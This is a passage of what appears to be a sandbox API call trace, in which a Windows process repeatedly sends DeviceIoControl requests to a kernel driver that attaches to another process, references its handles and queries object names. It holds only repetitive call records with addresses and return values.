out: Object=0xfffff88005000548*=0xfffffa8003121270, HandleInformation=0x0) returned 0x0 [0131.908] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.908] PsReleaseProcessExitSynchronization () returned 0x2 [0131.908] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.908] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.908] ObfDereferenceObject (Object=0xfffffa8003121270) returned 0x13 [0131.908] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.908] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.908] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.908] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0131.908] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.908] PsAcquireProcessExitSynchronization () returned 0x0 [0131.908] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.908] ObReferenceObjectByHandle (in: Handle=0x458, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003247400, HandleInformation=0x0) returned 0x0 [0131.908] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.908] PsReleaseProcessExitSynchronization () returned 0x2 [0131.908] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.908] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.908] ObfDereferenceObject (Object=0xfffffa8003247400) returned 0x12 [0131.908] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.908] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.908] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.908] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0131.908] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.908] PsAcquireProcessExitSynchronization () returned 0x0 [0131.908] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.909] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f71820, HandleInformation=0x0) returned 0x0 [0131.909] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.909] PsReleaseProcessExitSynchronization () returned 0x2 [0131.909] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.909] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.909] ObfDereferenceObject (Object=0xfffffa8002f71820) returned 0x21 [0131.909] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.909] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.909] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.909] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0131.909] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.909] PsAcquireProcessExitSynchronization () returned 0x0 [0131.909] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.909] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032488b0, HandleInformation=0x0) returned 0x0 [0131.909] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.909] PsReleaseProcessExitSynchronization () returned 0x2 [0131.909] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.909] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.909] ObfDereferenceObject (Object=0xfffffa80032488b0) returned 0x12 [0131.909] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.909] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.909] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.909] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0131.909] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.909] PsAcquireProcessExitSynchronization () returned 0x0 [0131.909] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.909] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003261a90, HandleInformation=0x0) returned 0x0 [0131.909] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.909] PsReleaseProcessExitSynchronization () returned 0x2 [0131.909] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.909] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.909] ObfDereferenceObject (Object=0xfffffa8003261a90) returned 0x13 [0131.909] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.910] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.910] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.910] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0131.910] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.910] PsAcquireProcessExitSynchronization () returned 0x0 [0131.910] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.910] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003279070, HandleInformation=0x0) returned 0x0 [0131.910] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.910] PsReleaseProcessExitSynchronization () returned 0x2 [0131.910] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.910] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.910] ObfDereferenceObject (Object=0xfffffa8003279070) returned 0x12 [0131.910] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.910] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.910] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.910] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0131.910] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.910] PsAcquireProcessExitSynchronization () returned 0x0 [0131.910] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.910] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003278890, HandleInformation=0x0) returned 0x0 [0131.910] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.910] PsReleaseProcessExitSynchronization () returned 0x2 [0131.910] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.910] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0131.910] ObfDereferenceObject (Object=0xfffffa8003278890) returned 0x13 [0131.910] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.910] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.910] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.910] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0131.910] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.910] PsAcquireProcessExitSynchronization () returned 0x0 [0131.910] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.910] ObReferenceObjectByHandle (in: Handle=0x4d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003308a80, HandleInformation=0x0) returned 0x0 [0131.911] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.911] PsReleaseProcessExitSynchronization () returned 0x2 [0131.911] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.911] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000508) returned 0x0 [0131.911] ObfDereferenceObject (Object=0xfffffa8003308a80) returned 0x12 [0131.911] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.911] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.911] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.911] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0131.911] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.911] PsAcquireProcessExitSynchronization () returned 0x0 [0131.911] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.911] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002f853c0, HandleInformation=0x0) returned 0x0 [0131.911] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.911] PsReleaseProcessExitSynchronization () returned 0x2 [0131.911] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.911] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.911] ObfDereferenceObject (Object=0xfffffa8002f853c0) returned 0x12 [0131.911] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.911] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.911] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.911] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0131.911] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.911] PsAcquireProcessExitSynchronization () returned 0x0 [0131.911] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.911] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032f2ac0, HandleInformation=0x0) returned 0x0 [0131.911] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.911] PsReleaseProcessExitSynchronization () returned 0x2 [0131.911] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.911] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.911] ObfDereferenceObject (Object=0xfffffa80032f2ac0) returned 0x12 [0131.911] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.912] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.912] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0131.912] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.912] PsAcquireProcessExitSynchronization () returned 0x0 [0131.912] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.912] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032f5650, HandleInformation=0x0) returned 0x0 [0131.912] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.912] PsReleaseProcessExitSynchronization () returned 0x2 [0131.912] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.912] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.912] ObfDereferenceObject (Object=0xfffffa80032f5650) returned 0x12 [0131.912] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.912] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.912] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xfe, lpOverlapped=0x0) returned 1 [0131.912] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.912] PsAcquireProcessExitSynchronization () returned 0x0 [0131.912] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.912] ObReferenceObjectByHandle (in: Handle=0x4f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003309490, HandleInformation=0x0) returned 0x0 [0131.912] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.912] PsReleaseProcessExitSynchronization () returned 0x2 [0131.912] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.912] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.912] ObfDereferenceObject (Object=0xfffffa8003309490) returned 0x12 [0131.912] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.912] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.912] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x11a, lpOverlapped=0x0) returned 1 [0131.912] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.912] PsAcquireProcessExitSynchronization () returned 0x0 [0131.912] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.913] ObReferenceObjectByHandle (in: Handle=0x4fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80032cf510, HandleInformation=0x0) returned 0x0 [0131.913] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.913] PsReleaseProcessExitSynchronization () returned 0x2 [0131.913] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.913] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.913] ObfDereferenceObject (Object=0xfffffa80032cf510) returned 0x12 [0131.913] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.913] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.913] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0131.913] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.913] PsAcquireProcessExitSynchronization () returned 0x0 [0131.913] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.913] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80028daaa0, HandleInformation=0x0) returned 0x0 [0131.913] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.913] PsReleaseProcessExitSynchronization () returned 0x2 [0131.913] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.913] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.913] ObfDereferenceObject (Object=0xfffffa80028daaa0) returned 0x12 [0131.913] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.913] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.913] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xc4, lpOverlapped=0x0) returned 1 [0131.913] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.913] PsAcquireProcessExitSynchronization () returned 0x0 [0131.913] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.913] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80034da620, HandleInformation=0x0) returned 0x0 [0131.913] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.913] PsReleaseProcessExitSynchronization () returned 0x2 [0131.913] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.913] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.914] ObfDereferenceObject (Object=0xfffffa80034da620) returned 0x12 [0131.914] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.914] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.914] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.914] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0131.914] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.914] PsAcquireProcessExitSynchronization () returned 0x0 [0131.914] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880050005d0) [0131.914] ObReferenceObjectByHandle (in: Handle=0x53c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002861f20, HandleInformation=0x0) returned 0x0 [0131.914] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.914] PsReleaseProcessExitSynchronization () returned 0x2 [0131.914] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0131.914] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.914] ObfDereferenceObject (Object=0xfffffa8002861f20) returned 0x13 [0131.914] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.914] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: 